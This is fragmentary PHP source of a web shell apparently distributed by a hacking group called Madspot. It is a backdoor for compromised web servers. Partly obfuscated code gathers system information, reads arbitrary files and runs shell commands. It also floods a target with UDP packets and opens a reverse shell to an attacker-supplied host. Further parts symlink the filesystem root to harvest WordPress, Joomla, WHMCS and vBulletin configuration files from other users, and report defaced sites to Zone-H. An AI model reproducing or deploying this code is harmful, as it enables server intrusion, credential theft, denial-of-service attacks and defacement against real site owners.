ON "; $of=" OFF "; $none=" NONE "; if(function_exists('curl_version')) $curl=$on; else $curl=$of; if(function_exists('mysql_get_client_info')) $mysql=$on; else $mysql=$of; if(function_exists('mssql_connect')) $mssql=$on; else $mssql=$of; if(function_exists('pg_connect')) $pg=$on; else $pg=$of; if(function_exists('oci_connect')) $or=$on; else $or=$of; if(@ini_get('disable_functions')) $disfun=@ini_get('disable_functions'); else $disfun="All Functions Enable"; if(@ini_get('safe_mode')) $safe_modes="ON"; else $safe_modes="OFF"; if(@ini_get('open_basedir')) $open_b=@ini_get('open_basedir'); else $open_b=$none; if(@ini_get('safe_mode_exec_dir')) $safe_exe=@ini_get('safe_mode_exec_dir'); else $safe_exe=$none; if(@ini_get('safe_mode_include_dir')) $safe_include=@ini_get('safe_mode_include_dir'); else $safe_include=$none; if(!function_exists('posix_getegid')) { $user = @get_current_user(); $uid = @getmyuid(); $gid = @getmygid(); $group = "?"; } else { $uid = @posix_getpwuid(posix_geteuid()); $gid = @posix_getgrgid(posix_getegid()); $user = $uid['name']; $uid = $uid['uid']; $group = $gid['name']; $gid = $gid['gid']; } $cwd_links = ''; $path = explode("/", $GLOBALS['cwd']); $n=count($path); for($i=0; $i<$n-1; $i++) { $cwd_links .= "".$path[$i]."/"; } $drives = ""; foreach(range('c','z') as $drive) if(is_dir($drive.':\\')) $drives .= '[ '.$drive.' ] '; echo '
| Uname: | '.substr(@php_uname(), 0, 120).' | |
| User: | '. $uid . ' [ ' . $user . ' ] Group: ' . $gid . ' [ ' . $group . ' ] | |
| PHP: | '.@phpversion(). ' Safe Mode:'.$safe_modes.' | |
| Our IP: | '.@$_SERVER["SERVER_ADDR"].' Server IP: '.@$_SERVER["REMOTE_ADDR"].' | |
| WEBS: | '; if($GLOBALS['sys']=='unix') { $d0mains = @file("/etc/named.conf"); if(!$d0mains) { echo "CANT READ named.conf"; } else { $count; foreach($d0mains as $d0main) { if(@ereg("zone",$d0main)) { preg_match_all('#zone "(.*)"#', $d0main, $domains); flush(); if(strlen(trim($domains[1][0])) > 2){ flush(); $count++; } } } echo "$count Domains"; } } else{ echo"CANT READ |Windows|";} echo ' | |
| HDD: | '.madSize($totalSpace).' Free:' . madSize($freeSpace) . ' ['. (int) ($freeSpace/$totalSpace*100) . '%] | |
| Useful : '; $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl'); foreach($userful as $item) if(madWhich($item)) echo $item.','; echo ' | ||
| Downloader:'; $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror'); foreach($downloaders as $item2) if(madWhich($item2)) echo $item2.','; echo ' | ||
| useful:'; echo '-------------- | Downloader: ------------- | '; } } else { echo '|
| Window:'; echo madEx('ver'); echo ' | ||
| Downloader: ------------- | ||
| Disabled functions:'.$disfun.' | ||
| cURL:'.$curl.' MySQL:'.$mysql.' MSSQL:'.$mssql.' PostgreSQL:'.$pg.' Oracle: '.$or.' | '.base64_decode("PGEgaHJlZj0iaHR0cDovL3d3dy5tYWRzcG90Lm5ldCIgdGFyZ2V0PSJfYmxhbmsiPjxzcGFuPjxmb250IGNvbG9yPSIjMEYwIj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDtNQURTUE9ULk5FVDwvZm9udD48L3NwYW4+PC9hPg==").' | |
| Open_basedir:'.$open_b.' Safe_mode_exec_dir:'.$safe_exe.' Safe_mode_include_dir:'.$safe_include.' | ||
| Server | '.@getenv('SERVER_SOFTWARE').' | |
| DRIVE: | '.$drives.' | |
| PWD: | '.$cwd_links.' |CURRENT| | |
FILE DOEST NOT EXITS
';
$fp = @fopen($_POST['p1'], 'r');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo '';
break;
case 'highlight':
if( @is_readable($_POST['p1']) ) {
echo ''.$h[0].' | '.$h[1].' | '.htmlspecialchars($h[2]).' |
| Param | ' .'Global value | ' .'Local Value | ' .'Access |
| '.$param.' | ' .''.$values['global_value'].' | ' .''.$values['local_value'].' | ' .''.$values['access'].' |
| ' .implode(' |
| ', $EXT) .' |
";
if(!empty($_POST['p1'])) {
if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
}
echo "";
if(!empty($_POST['p1']) && !empty($_POST['p2']) && !empty($_POST['p3']))
{
$packets=0;
ignore_user_abort(true);
$exec_time=$_POST['p2'];
$time=time();
$max_time=$exec_time+$time;
$host=$_POST['p1'];
$portudp=$_POST['p3'];
for($i=0;$i<65000;$i++)
{
$out .= 'X';
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen('udp://'.$host, $portudp, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "$packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second";
echo "";
}
echo '";
echo madEx($_POST['p1']);
echo '';
}
echo "Successfully opened reverse shell to ".$_POST['p2'].":".$_POST['p3'].""; @unlink("/tmp/bc.pl"); } if($_POST['p1']=='php') { @set_time_limit (0); $ip = $_POST['p2']; $port =$_POST['p3']; $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0; echo "
Connecting...
";
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
echo "Cant fork!
";
exit(1);
}
if ($pid) {
exit(0);
}
if (posix_setsid() == -1) {
echo "Error: Can't setsid()
";
exit(1);
}
$daemon = 1;
} else {
echo "WARNING: Failed to daemonise. This is quite common and not fatal
";
}
chdir("/");
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
echo "$errstr ($errno)";
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
echo "ERROR: Can't spawn shell
";
exit(1);
}
@stream_set_blocking($pipes[0], 0);
@stream_set_blocking($pipes[1], 0);
@stream_set_blocking($pipes[2], 0);
@stream_set_blocking($sock, 0);
echo "Successfully opened reverse shell to $ip:$port
";
while (1) {
if (feof($sock)) {
echo "ERROR: Shell connection terminated
";
break;
}
if (feof($pipes[1])) {
echo "ERROR: Shell process terminated
";
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets=@stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) echo "SOCK READ
";
$input=fread($sock, $chunk_size);
if ($debug) echo "SOCK: $input
";
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) echo "STDOUT READ
";
$input = fread($pipes[1], $chunk_size);
if ($debug) echo "STDOUT: $input
";
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) echo "STDERR READ
";
$input = fread($pipes[2], $chunk_size);
if ($debug) echo "STDERR: $input
";
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
echo "";
}
}
echo ""; } echo "PHP CURL NOT EXIT
";
while($i < count($sites))
{
if(substr($sites[$i], 0, 4) != "http")
{
$sites[$i] = "http://".$sites[$i];
}
ZoneH("http://zone-h.org/notify/single", $hacker, $method, $neden, $sites[$i]);
echo "Site : ".$sites[$i]." Defaced !
";
++$i;
}
"Sending Sites To Zone-H Has Been Completed Successfully !! ";
}
echo "
|`-:_
,----....____ | `+.
( ````----....|___ |
\ _ ````----....____
\ _) Coded By: Ikram Ali ```---.._
\ \
)`.\ )`. )`. )`. )`. )`. )`. )`. )`. )`. )hh
-' `-' `-' `-' `-' `-' `-' `-' `-' `-' `-' `
Madspot is a Team of professional Ethical Hackers From Pakistan.
We have Years of Experience in Security, Penetration & Coding
And can Break and Secure.
Version 1.0
Contact : http://www.madspot.net
if you found bug contact our team
.=''=.
/ _ _ \
| d b |
\ /\ /
,/'-=\/=-'\,
/ / \ \ -----------------------------
| / Zahid \ | Madspot Digital Security Team
\/ \ Rasheed/ \/ -----------------------------
'. .'
_|`~~`|_
/|\ /|\
.- -. .-====-. ,-------. .-=<>=-.
/_-\'''/-_\ / / '' \ \ |,-----.| /__----__\
|/ o) (o \| | | ')(' | | /,'-----'.\ |/ (')(') \|
\ ._. / \ \ / / {_/(') (')\_} \ __ /
,>-_,,,_-<. >'=jf='< `. _ .' ,'--__--'.
/ Waqar.Khan \ / \ /'-___-'\ / :| \
(_) . (_) / Ikram \ / M-Usman \ (_) :| (_)
\_-----'____--/ (_) Ali (_) (_)_______(_) |___:|____|
\___________/ |________| \_______/ | Afrasiab|
Cant access this file on server -> [ /etc/named.conf ]
| Count | domains | users |
| ".$count." | ".$domains[1][0]." | ".$user['name']." |
# Cant access this file on server -> [ /etc/named.conf ]
| Domains | Users | symlink | "; foreach($IIIIIIIIIllI as $IIIIIIIIIll1){ if(@eregi('zone',$IIIIIIIIIll1)){ preg_match_all('#zone "(.*)"#',$IIIIIIIIIll1,$IIIIIIIIIl11); flush(); if(strlen(trim($IIIIIIIIIl11[1][0])) >2){ $IIIIIIIII1I1 = posix_getpwuid(@fileowner('/etc/valiases/'.$IIIIIIIIIl11[1][0])); $IIIIIIII1I1l = $IIIIIIIII1I1['name'] ; @symlink('/','sym/root'); $IIIIIIII1I1l = $IIIIIIIIIl11[1][0]; $IIIIIIII1I11 = '\.ir'; $IIIIIIII1lII = '\.il'; if (@eregi("$IIIIIIII1I11",$IIIIIIIIIl11[1][0]) or @eregi("$IIIIIIII1lII",$IIIIIIIIIl11[1][0]) ) { $IIIIIIII1I1l = "
| '.$IIIIIIII1I1l.' | '.$IIIIIIIII1I1['name']." | symlink |
# Cant access this file on server -> [ /etc/named.conf ]
| Domains | Script | "; foreach($IIIIIIIIIllI as $IIIIIIIIIll1){ if(@eregi('zone',$IIIIIIIIIll1)){ preg_match_all('#zone "(.*)"#',$IIIIIIIIIll1,$IIIIIIIIIl11); flush(); if(strlen(trim($IIIIIIIIIl11[1][0])) >2){ $IIIIIIIII1I1 = posix_getpwuid(@fileowner('/etc/valiases/'.$IIIIIIIIIl11[1][0])); $IIIIIIIII1l1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/wp-config.php'; $IIIIIIIII11I=get_headers($IIIIIIIII1l1); $IIIIIIIII11l=$IIIIIIIII11I[0]; $IIIIIIIII111=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/blog/wp-config.php'; $IIIIIIIIlIII=get_headers($IIIIIIIII111); $IIIIIIIIlIIl=$IIIIIIIIlIII[0]; $IIIIIIIIlII1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/configuration.php'; $IIIIIIIIlIlI=get_headers($IIIIIIIIlII1); $IIIIIIIIlIll=$IIIIIIIIlIlI[0]; $IIIIIIIIlIl1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/joomla/configuration.php'; $IIIIIIIIlI1I=get_headers($IIIIIIIIlIl1); $IIIIIIIIlI1l=$IIIIIIIIlI1I[0]; $IIIIIIIIlI11=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/includes/config.php'; $IIIIIIIIllII=get_headers($IIIIIIIIlI11); $IIIIIIIIllIl=$IIIIIIIIllII[0]; $IIIIIIIIllI1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/vb/includes/config.php'; $IIIIIIIIlllI=get_headers($IIIIIIIIllI1); $IIIIIIIIllll=$IIIIIIIIlllI[0]; $IIIIIIIIlll1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/forum/includes/config.php'; $IIIIIIIIll1I=get_headers($IIIIIIIIlll1); $IIIIIIIIll1l=$IIIIIIIIll1I[0]; $IIIIIIIIll11=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'public_html/clients/configuration.php'; $IIIIIIIIl1II=get_headers($IIIIIIIIll11); $IIIIIIIIl1Il=$IIIIIIIIl1II[0]; $IIIIIIIIl1I1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/support/configuration.php'; $IIIIIIIIl1II=get_headers($IIIIIIIIl1I1); $IIIIIIIIl1lI=$IIIIIIIIl1II[0]; $IIIIIIIIl1ll=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/client/configuration.php'; $IIIIIIIIl1l1=get_headers($IIIIIIIIl1ll); $IIIIIIIIl11I=$IIIIIIIIl1l1[0]; $IIIIIIIIl11l=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/submitticket.php'; $IIIIIIIIl111=get_headers($IIIIIIIIl11l); $IIIIIIII1III=$IIIIIIIIl111[0]; $IIIIIIII1IIl=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/client/configuration.php'; $IIIIIIII1II1=get_headers($IIIIIIII1IIl); $IIIIIIII1IlI=$IIIIIIII1II1[0]; $IIIIIIII1Ill = strpos($IIIIIIIII11l,'200'); $IIIIIIII1I1I=' '; if (strpos($IIIIIIIII11l,'200') == true ) { $IIIIIIII1I1I="Wordpress"; } elseif (strpos($IIIIIIIIlIIl,'200') == true) { $IIIIIIII1I1I="Wordpress"; } elseif (strpos($IIIIIIIIlIll,'200') == true and strpos($IIIIIIII1III,'200') == true ) { $IIIIIIII1I1I=" WHMCS"; } elseif (strpos($IIIIIIIIl1lI,'200') == true) { $IIIIIIII1I1I =" WHMCS"; } elseif (strpos($IIIIIIIIl11I,'200') == true) { $IIIIIIII1I1I =" WHMCS"; } elseif (strpos($IIIIIIIIlIll,'200') == true) { $IIIIIIII1I1I=" Joomla"; } elseif (strpos($IIIIIIIIlI1l,'200') == true) { $IIIIIIII1I1I=" Joomla"; } elseif (strpos($IIIIIIIIllIl,'200') == true) { $IIIIIIII1I1I=" vBulletin"; } elseif (strpos($IIIIIIIIllll,'200') == true) { $IIIIIIII1I1I=" vBulletin"; } elseif (strpos($IIIIIIIIll1l,'200') == true) { $IIIIIIII1I1I=" vBulletin"; } else { continue; } $IIIIIIII1I1l = $IIIIIIIII1I1['name'] ; echo '
| '.$IIIIIIIIIl11[1][0].' | '.$IIIIIIII1I1I.' |
'.htmlspecialchars($file['file']).''; } } else { echo htmlspecialchars($db->error()); } echo '
";
echo "
/^\
_.-`: / \ :'-._
,` : | | : '.
,` \,| |,/ '.
/ `-...-` \
: .'. :
| . ' . |
| ' . ' |
: '.' :
\ ,-'''-, /
`. /'| |'\ ,'
`._ ; | | ; _,'
`-.: | | :,-'
| |
| |
| |
| |
| |
";
echo '
Kill Me?
Yes